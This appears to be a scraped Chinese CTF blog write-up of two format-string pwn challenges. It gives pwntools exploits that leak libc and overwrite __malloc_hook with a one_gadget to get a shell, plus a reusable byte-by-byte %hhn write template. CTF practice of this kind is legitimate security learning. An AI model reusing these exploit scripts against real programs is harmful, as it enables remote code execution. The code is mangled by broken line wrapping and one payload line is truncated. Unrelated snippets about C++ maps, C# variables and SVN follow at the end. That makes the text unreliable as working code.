一共兩個題,再抄一點別的師傅的模板備用23333
一次任意leak的機會,一次fmt的機會。然後是有個alloc不讓控制棧。
查閱到乙個知識。scanf/printf 是會呼叫malloc和free函式的,在它需要輸入一串比較長的字元時,需要臨時申請空間來存放這些字元,輸出後再呼叫free釋放這部分空間。
對於這個題思路就是改malloc_hook然後觸發一下,exp如下。
from pwn import
*context.log_level =
'debug'
# p = process('./easiestprintf')
p = remote(
'node3.buuoj.cn'
,29072
)elf = elf(
'./easiestprintf'
)libc = elf(
'./libc'
)import subprocess
defone_gadget
(filename)
:return
list
(map
(int
, subprocess.check_output(
[b'one_gadget'
, b'--raw'
, filename]
).split(b' '))
)one = one_gadget(
'./libc'
)print
(one)
p.sendlineafter(
"read:\n"
,str
(elf.got[
'read'])
)read_addr =
int(p.recvuntil(
'\n')[
:-1]
,16)log.info(
'read: --> %s'
,hex
(read_addr)
)libc_base = read_addr - libc.symbols[
'read'
]malloc_hook = libc_base + libc.symbols[
'__malloc_hook'
]onegadget = libc_base + one[2]
log.info(
"libc --> %s"
,hex
(libc_base)
)payload = fmtstr_payload(7,
)payload += b"%100000c"
# 觸發malloc
一樣一次leak一次fmt,但是有個chk也就是不能簡單的%p了,這裡用了個技巧%a,可以參考publicqi師傅的部落格用%a列印棧上的殘存資料進行leak,然後使用上一題的方法getshell即可,這裡用了琪琪師傅無敵的fmt模板(因為pwntools的那個好像直接炸了)。
from pwn import
*context.log_level =
'debug'
p = process(
'./easy_printf'
)elf = elf(
'./easy_printf'
)libc = elf.libc
import subprocess
defone_gadget
(filename)
:return
list
(map
(int
, subprocess.check_output(
[b'one_gadget'
, b'--raw'
, filename]
).split(b' '))
)one = one_gadget(
'/lib/x86_64-linux-gnu/libc.so.6'
)p.sendlineafter(
"choice: "
,'1'
)p.sendlineafter(
"fmt: \n"
,"%a%a"
)p.recv(11)
addr = p.recvuntil(
"p-")[
:-2]
addr += b"00"
libc_base =
int(addr,16)
-0x3eba00
free_hook = libc_base + libc.symbols[
'__free_hook'
]malloc_hook = libc_base + libc.symbols[
'__malloc_hook'
]onegadget = libc_base + one[1]
log.info(
"libc_base --> %s"
,hex
(libc_base)
)p.sendlineafter(
'\n'
,'2'
)log.info(
"malloc_hook --> %s"
,hex
(malloc_hook)
)log.info(
"free_hook --> %s"
,hex
(free_hook)
)def
fmt(data,addr,off)
: arg0=
(data)
&0xff
arg1=
(data&
0xff00
)>>
8 arg2=
(data&
0xff0000
)>>
16 arg3=
(data&
0xff000000
)>>
24 arg4=
(data&
0xff00000000
)>>
32 arg5=
(data&
0xff0000000000
)>>
40# arg6=(data&0xf f000000000000)>>48
# arg7=(data&0xf f00000000000000)>>56
pay1=
'%'+
str(arg0)
+'c%'
+str
(off+10)
+'$hhn'
pay2=
'%'+
str(
(arg1-arg0+
0x100)%
0x100)+
'c%'
+str
(off+11)
+'$hhn'
pay3=
'%'+
str(
(arg2-arg1+
0x100)%
0x100)+
'c%'
+str
(off+12)
+'$hhn'
pay4=
'%'+
str(
(arg3-arg2+
0x100)%
0x100)+
'c%'
+str
(off+13)
+'$hhn'
pay5=
'%'+
str(
(arg4-arg3+
0x100)%
0x100)+
'c%'
+str
(off+14)
+'$hhn'
pay6=
'%'+
str(
(arg5-arg4+
0x100)%
0x100)+
'c%'
+str
(off+15)
+'$hhn'
payload = pay1+pay2+pay3+pay4+pay5+pay6+
'%100000c'
payload = payload.ljust(8*
10,'a')
.encode(
) payload+= p64(addr)
payload+= p64(addr+1)
payload+= p64(addr+2)
payload+= p64(addr+3)
payload+= p64(addr+4)
payload+= p64(addr+5)
return payload
payload = fmt(onegadget,malloc_hook,8)
# gdb.attach(p, 'b *$rebase(0xadd)')
p.sendline(payload)
sleep(
0.1)
p.interactive(
)
琪琪師傅的模板:
%a:
c stl 一些東西
std map 其key是基於比較運算子的,因此自定義型別需要為該型別設定比較運算子操作 class a private int mm std mapkk std unordered map 基於hash實現,需要為自定義型別設定 運算子和雜湊函式 class a int get value con...
一些基礎的東西
在c 中宣告變數使用下述的語法 但是在c 中有變數初始化的要求,即c 編譯器需要用某個初始值對變數進行初始化,之後才能在操作中引用該變數。c 有兩個方法可確保變數在使用前進行了初始化 變數是類 class 或結構 struct 中的字段 field 如果沒有顯式初始化,在預設狀態下建立這些變數時,其...
SVN的一些東西
例如 主幹mainproject,分支 branchproject 1 將分支合併到主幹 url位址路徑一定要對 找到主幹檔案mainproject,右擊 tortoisesvn merge.合併 選擇第乙個 merge a range of revisions 合併乙個版本範圍 接著在 url t...